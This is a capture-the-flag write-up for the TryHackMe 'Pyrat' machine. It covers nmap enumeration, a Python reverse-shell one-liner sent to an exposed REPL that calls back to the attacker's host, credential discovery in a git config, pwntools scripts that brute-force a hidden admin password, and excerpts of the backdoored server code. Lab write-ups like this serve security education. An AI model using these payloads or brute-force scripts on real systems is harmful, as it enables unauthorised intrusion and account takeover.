THM Pyrat
This machine provide a remote Python REPL environment via a SimpleHTTP service.
We just gain initial access by constructing a simple Python version of a reverse shell.
After conducting a thorough search of the system (targeting users with login shells), we discovered that one user maintained a Git repository containing their login credentials. Subsquently, uncovered clues within the Git logs pointing to the remote REPL environment. This led us to further fuzz the environment hidden endpoint and its password, ultimately gaining root privilege.
Summary
Scope
- Name: Pyrat
- Difficulty: Easy
- OS: Linux
- IP: 10.49.132.89
Learned
- Sometimes the functionality provided by a service may not fully align with its protocol. For example, in this challenge, the web service actually provides a Python REPL environment.
- During lateral movement and privilege escalation, targeted searches for specific users may yield clues more quickly.
- pwntools is a good friend, it's worth spending more time to understand.
Enumeration
Nmap
Overall
nmap -sT --min-rate 5000 -oN overall [IP]
Host is up (0.29s latency). Not shown: 44954 closed tcp ports (reset), 20579 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt
Detail
nmap -sC -sV -O -vv -p22,8000 -oN detail [IP]
Host is up, received timestamp-reply ttl 62 (0.28s latency).
Scanned at 2026-01-21 15:26:10 CST for 190s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d5:bc:2a:83:32:9c:0c:08:9e:d9:1e:1a:ff:cd:34:7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDilSIW8LZZMsLuTQIt7uB0DjEt4aREmNWwmR1G3QLTGWeZCnoHBMOSJeWfY8Svxfoabumu1fzLEHEoosvk2XjPW4Ccdp4huKQzM75L4CF5EvPfjmzBdcsL8pRNm5gGaQx9aO6yx3+FtxDCbuUs7bCU4/YQToBsEEiM2qp5EW6dxA9md4+3Al48W1SLSIkGSaC0EXOWknMeXUGdEyuet6PIO3SqbW67Gox5zXgxE8e6xlzeZxfcbyu9nO+9mAcZciHMqXGSEXC9ttVQCRqCeIr1tSin+KObaXkhz3ner4toeoeaSwAFlw5I7Hb5rAad8a5hzFQdt+EEXLuwGc5mkc7zTGEEHJk7E7iDEvcsa6JM0jfjYjsjeJeBy8U00cjXkYLKPMsUBu+hjHS+204STasorbs6YYeMY7Pz8htmh7etqEfwEc6bxTF6t4UM883VOdCOTTQZk86NMRpjBIeMf6n0BD2Tu+kyxNfYL6rYcentI0wcvheFcYZ8/O8XvDxcNHE=
| 256 00:47:60:a2:47:0b:45:b3:b9:ef:03:91:f2:b5:29:05 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFzQ6uIxHtGJDdXdohiLGJOfhJJchfuqZY+9OX95Gl4gi58EIOXqhVhJ5jp6/DJHx4euvTQfiElL4GBwGPq6hMY=
| 256 46:11:ba:26:9d:c9:63:9c:ac:71:2a:2d:39:60:c2:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBOViwftdaXf9H5gvPtAO8Jkv2MTJ7oHwqkHmqBo/SFn
8000/tcp open http-alt syn-ack ttl 62 SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.98%I=7%D=1/21%Time=69707F9E%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x2
SF:0defined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20conta
SF:in\x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(
SF:<string>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20c
SF:annot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTION
SF:S'\x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20i
SF:s\x20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20st
SF:ring\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D
SF:,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(
SF:Help,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"inv
SF:alid\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"inval
SF:id\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\
SF:x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,
SF:2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%
SF:r(JavaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.7 - 4.19 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=1/21%OT=22%CT=%CU=32544%PV=Y%DS=3%DC=I%G=N%TM=69708050%P=aarch64-unknown-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 24.797 days (since Sat Dec 27 20:21:02 2025)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelUDPScan
nmap -sU --top-ports 20 -oN udpscan [IP]
Nmap scan report for 10.49.132.89 Host is up (0.31s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp open|filtered snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown
Simplest Fuzz
Let's interact with web service. Keep in mind this is a Python SimpleHTTP service.
$ curl http://10.49.132.89:8000
Try a more basic connection
curl interacts with service via the HTTP protocol, but it prompts us to attempt a more fundamental
connection (something can custom protocol header), which immediately brings netcat to mind!
$ nc 10.49.132.89 8000
test
name 'test' is not defined
print(1+1)
2
import sys
print(sys.version)
3.8.10 (default, Mar 18 2025, 20:04:55)
[GCC 9.4.0]Yeah, I first try some random word to service and it says that not defined. And I remember that this is a Python service, so I try a simple Python expression. Then I get it!
This Web service just provide a remote Python REPL environment!
Foothold
Now that we have a Python REPL environment, the foothold becomes very simple: just build reverse shell via Python.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.145.249",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")That's it.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.145.249] from (UNKNOWN) [10.49.132.89] 43402
$Enhance Interactivity of Shell (optional)
The default shell we obtained is not a fully interactive shell. I leverage script command to elevate
it to interactive.
$ script -q /dev/null -c /bin/bash
script -q /dev/null -c /bin/bash
bash: /root/.bashrc: Permission denied
www-data@ip-10-49-132-89:~$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-49-132-89:~$
www-data@ip-10-49-132-89:~$ ^Z
zsh: suspended nc -lvnp 4443
(curtain㉿Kali)-[/media/psf/workspace/thm/pyrat]
$ stty raw -echo && fg
[1] + continued nc -lvnp 4443
www-data@ip-10-49-132-89:~$
www-data@ip-10-49-132-89:~$ export TERM=xterm
www-data@ip-10-49-132-89:~$Privilege Escalation
Pivoting (www-data -> think)
Now we are a low-privilege user (www-data), so we first target is the other high-privilege users.
www-data@ip-10-49-132-89:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bashLet's see if there's anything interesting in these two user's home directories.
www-data@ip-10-49-132-89:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jan 21 07:16 .
drwxr-xr-x 18 root root 4096 Jan 21 07:16 ..
drwxr-x--- 5 think think 4096 Jun 21 2023 think
drwxr-xr-x 3 ubuntu ubuntu 4096 Jan 21 07:16 ubuntu
www-data@ip-10-49-132-89:~$ ls -la /home/think
ls: cannot open directory '/home/think': Permission denied
www-data@ip-10-49-132-89:~$ ls -la /home/ubuntu
total 24
drwxr-xr-x 3 ubuntu ubuntu 4096 Jan 21 07:16 .
drwxr-xr-x 4 root root 4096 Jan 21 07:16 ..
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Jan 21 07:16 .ssh
Interesting, We don't have permission for reading user think's home directory. Additionally, the
user ubuntu has a special directory called .ssh.
Since we currently lack access to these two user's home directories, we can find to see which
directories in the system belong to these two users.
www-data@ip-10-49-132-89:/$ find / -user think -type d 2>/dev/null
/opt/dev
/opt/dev/.git
/opt/dev/.git/objects
/opt/dev/.git/objects/info
/opt/dev/.git/objects/0a
/opt/dev/.git/objects/pack
/opt/dev/.git/objects/ce
/opt/dev/.git/objects/56
/opt/dev/.git/hooks
/opt/dev/.git/info
/opt/dev/.git/logs
/opt/dev/.git/logs/refs
/opt/dev/.git/logs/refs/heads
/opt/dev/.git/branches
/opt/dev/.git/refs
/opt/dev/.git/refs/heads
/opt/dev/.git/refs/tags
/home/think
www-data@ip-10-49-132-89:/$ find / -user ubuntu -type d 2>/dev/null
/home/ubuntu
/home/ubuntu/.sshWoo! There's a Git repository here!
www-data@ip-10-49-132-89:/opt/dev$ git log -p
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:
git config --global --add safe.directory /opt/dev
www-data@ip-10-49-132-89:/opt/dev$ git config --global --add safe.directory /opt/dev/
warning: unable to access '/root/.gitconfig': Permission denied
warning: unable to access '/root/.config/git/config': Permission denied
error: could not lock config file /root/.gitconfig: Permission deniedUnfortunately, we also lack the permission to directly view the Git log! Let's do it manually.
www-data@ip-10-49-132-89:/opt/dev$ cd .git/
www-data@ip-10-49-132-89:/opt/dev/.git$ ls -al
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
Here is a config file that caught my attention (Git config may contain secret information).
www-data@ip-10-49-132-89:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _***************_
Yeah! There's a credential for think here.
Escalation (think -> root)
Now we are the user think.
www-data@ip-10-49-132-89:/opt/dev$ su think
Password:
think@ip-10-49-132-89:/opt/dev$ id
uid=1000(think) gid=1000(think) groups=1000(think)
think@ip-10-49-132-89:~$ ls -la
total 40
drwxr-x--- 5 think think 4096 Jun 21 2023 .
drwxr-xr-x 4 root root 4096 Jan 21 07:16 ..
lrwxrwxrwx 1 root root 9 Jun 15 2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think 220 Jun 2 2023 .bash_logout
-rwxr-x--- 1 think think 3771 Jun 2 2023 .bashrc
drwxr-x--- 2 think think 4096 Jun 2 2023 .cache
-rwxr-x--- 1 think think 25 Jun 21 2023 .gitconfig
drwx------ 3 think think 4096 Jun 21 2023 .gnupg
-rwxr-x--- 1 think think 807 Jun 2 2023 .profile
drwx------ 3 think think 4096 Jun 21 2023 snap
-rw-r--r-- 1 root think 33 Jun 15 2023 user.txt
lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null
think@ip-10-49-132-89:~$ cat user.txt
99****************************05Default Approaches (sudo rules and SUID)
Let's try default approaches first.
think@ip-10-49-132-89:~$ sudo -l
[sudo] password for think:
Sorry, user think may not run sudo on ip-10-49-132-89.
think@ip-10-49-132-89:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umountNothing to exploit here.
Fuzz Endpoints
Next, we can view the Git log again, since we are a normal user.
think@ip-10-49-132-89:/opt/dev$ git log -p
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
This file appears to be the backend source code for this Python environment, but it is incomplete. Let's verify it.
$ nc 10.49.132.89 8000
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ nc 10.49.132.89 8000
some_endpoint
name 'some_endpoint' is not definedAlright, then we can processed to fuzz test this service to identify its endpoints.
from pwn import *
context.log_level = 'critical'
endpoints = '/usr/share/wordlists/seclists/Discovery/Web-Content/api/actions.txt'
def fuzz_endpoints(endpoints):
with open(endpoints, 'r') as f:
for endpoint in f:
io = remote('10.49.132.89', 8000)
io.sendline(endpoint.strip().encode())
result = io.recvline()
if b'is not defined' in result:
io.close() # connection is one-time pass, so we need reconnect it
else:
log.critical(f'[+] endpoint: {endpoint} may exists!')
io.close()We use seclists's api actions for wordlists here. (If this doesn't provide us with useful information, we can try another wordlists).
$ python fuzz_endpoints.py
[+] Opening connection to 10.49.132.89 on port 8000: Done
[*] Closed connection to 10.49.132.89 port 8000
...
[CRITICAL] [+] endpoint: admin may exists!
...
[CRITICAL] [+] endpoint: def may exists!
...
[CRITICAL] [+] endpoint: del may exists!
...
[CRITICAL] [+] endpoint: list may exists!
...
[CRITICAL] [+] endpoint: map may exists!
...
[CRITICAL] [+] endpoint: quit may exists!
...
[CRITICAL] [+] endpoint: set may exists!
[+] Opening connection to 10.49.132.89 on port 8000: Done
[*] Closed connection to 10.49.132.89 port 8000
Luckily, except for admin endpoint, the rest should all be Python-supported keywords or function names.
$ nc 10.49.132.89 8000
admin
Password:
123
Password:
123
Password:
123
admin
Password:- This endpoint needs a password.
- Every three incorrect password attemps, the verification process must be restarted.
- The entire verification process does not require reconnection (fuzz_endpoints need).
- Third attempt will return nothing.
So we write script for fuzz it with rockyou.txt wordlists.
from pwn import *
context.log_level = 'critical'
passwords = '/usr/share/wordlists/rockyou.txt'
def fuzz_password(passwords):
io = remote('10.49.132.89', 8000) # NOTE: admin endpoint need not to reconnection
io.sendline(b'admin')
io.recvline()
attempt_count = 0
with open(passwords, 'r', encoding = 'latin-1') as f:
for password in f:
password = password.strip()
if attempt_count == 3:
io.sendline(b'admin')
io.recvline()
attempt_count = 0
attempt_count += 1
io.sendline(password.encode())
if attempt_count == 3:
result = io.recvline(timeout = 0.5) # NOTE: third try will return nothing, include \n, so we shouldn't wait here
else:
result = io.recvline()
if b'Password' not in result and b'' != result.strip():
log.critical(f'password: {password} may success')
breakRun it will get the password.
$ python fuzz_endpoints.py
[CRITICAL] password: ****** may successRoot Flag
$ nc 10.49.132.89 8000
admin
Password:
a****3
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# pwd
pwd
/root
# ls -l
ls -l
total 16
-rwxr-xr-x 1 root root 5360 Apr 15 2024 pyrat.py
-rw-r----- 1 root root 33 Jun 15 2023 root.txt
drwxrwx--- 3 root root 4096 Jun 2 2023 snap
# cat root.txt
cat root.txt
ba****************************21Implmentation (optional)
BTW, we notice that there's a file called pyrat.py which appears to the backend source code. We
download it will get that:
# ....
def handle_client(client_socket, client_address):
try:
while True:
# Receive data from the client
data = client_socket.recv(1024).decode("utf-8")
if not data:
# Client disconnected
break
if is_http(data):
send_data(client_socket, fake_http())
continue
switch_case(client_socket, str(data).strip())
except:
pass
remove_socket(client_socket)
def switch_case(client_socket, data):
if data == 'admin':
get_admin(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0) and (str(client_socket) not in admins):
change_uid()
if data == 'shell':
shell(client_socket)
remove_socket(client_socket)
else:
exec_python(client_socket, data)
# Tries to execute the random data with Python
def exec_python(client_socket, data):
try:
print(str(client_socket) + " : " + str(data))
# Redirect stdout to capture the printed output
captured_output = StringIO()
sys.stdout = captured_output
# Execute the received data as code
exec(data)
# Get the captured output
exec_output = captured_output.getvalue()
# Send the result back to the client
send_data(client_socket, exec_output)
except Exception as e:
# Send the exception message back to the client
send_data(client_socket, e)
finally:
# Reset stdout to the default
sys.stdout = sys.__stdout__
# ...Which setup a fake web service, but in reality, it left a root backdoor.